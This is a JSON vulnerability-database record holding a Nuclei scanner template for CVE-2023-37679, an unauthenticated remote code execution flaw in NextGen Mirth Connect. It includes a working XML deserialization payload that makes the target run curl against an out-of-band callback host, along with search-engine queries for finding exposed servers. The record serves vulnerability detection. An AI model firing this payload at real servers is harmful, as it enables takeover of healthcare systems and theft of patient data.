{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-37679/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-37679/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-37679/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-37679/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-37679/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-37679"},"sightings":{"href":"/api/v1/sightings/cve-2023-37679"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-37679.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-37679\n\ninfo:\n  name: NextGen Mirth Connect - Remote Code Execution\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: critical\n  description: |\n    Mirth Connect, by NextGen HealthCare, is an open source data integration platform widely used by healthcare companies. Versions prior to 4.4.1 are vulnerable to an unauthenticated remote code execution vulnerability\n  impact: |\n    Unauthenticated attackers can exploit XML deserialization vulnerabilities to execute arbitrary code on the Mirth Connect server, potentially compromising sensitive healthcare data and integration workflows.\n  remediation: |\n    Update NextGen Mirth Connect to version 4.4.1 or later that properly validates XML input and prevents unsafe deserialization attacks.\n  reference:\n    - https://www.horizon3.ai/nextgen-mirth-connect-remote-code-execution-vulnerability-cve-2023-43208/\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-37679\n    - http://mirth.com\n    - http://nextgen.com\n    - http://packetstormsecurity.com/files/176920/Mirth-Connect-4.4.0-Remote-Command-Execution.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-37679\n    cwe-id: CWE-77\n    epss-score: 0.99434\n    epss-percentile: 0.99941\n    cpe: cpe:2.3:a:nextgen:mirth_connect:4.3.0:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: nextgen\n    product: mirth_connect\n    shodan-query:\n      - title:\"mirth connect administrator\"\n      - http.title:\"mirth connect administrator\"\n    fofa-query: title=\"mirth connect administrator\"\n    google-query: intitle:\"mirth connect administrator\"\n  tags: packetstorm,cve2023,cve,nextgen,rce,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /api/server/version HTTP/1.1\n        Host: {{Hostname}}\n        X-Requested-With: OpenAPI\n      - |\n        POST /api/users HTTP/1.1\n        Host: {{Hostname}}\n        X-Requested-With: OpenAPI\n        Content-Type: application/xml\n\n        <sorted-set>\n            <string>foo</string>\n            <dynamic-proxy>\n                <interface>java.lang.Comparable</interface>\n                <handler class=\"java.beans.EventHandler\">\n                    <target class=\"java.lang.ProcessBuilder\">\n                        <command>\n                            <string>curl</string>\n                            <string>http://{{interactsh-url}}/</string>\n                        </command>\n                    </target>\n                    <action>start</action>\n                </handler>\n            </dynamic-proxy>\n        </sorted-set>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'compare_versions(version, \"<4.4.1\")'\n          - 'contains(interactsh_protocol, \"dns\")'\n          - 'status_code_1 == 200 && status_code_2 == 500'\n        condition: and\n\n    extractors:\n      - type: regex\n        part: body_1\n        name: version\n        group: 1\n        regex:\n          - '(.*)'\n        internal: true\n# digest: 490a0046304402207995bf72c14354c650353c9cbff71f343395b2f0d7e6b84b0597cad4022eea5802206b1139646c991b4d65d778562d51fcbfb80babde0a8e19b3725a641c0a93ef00:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2023-37679"}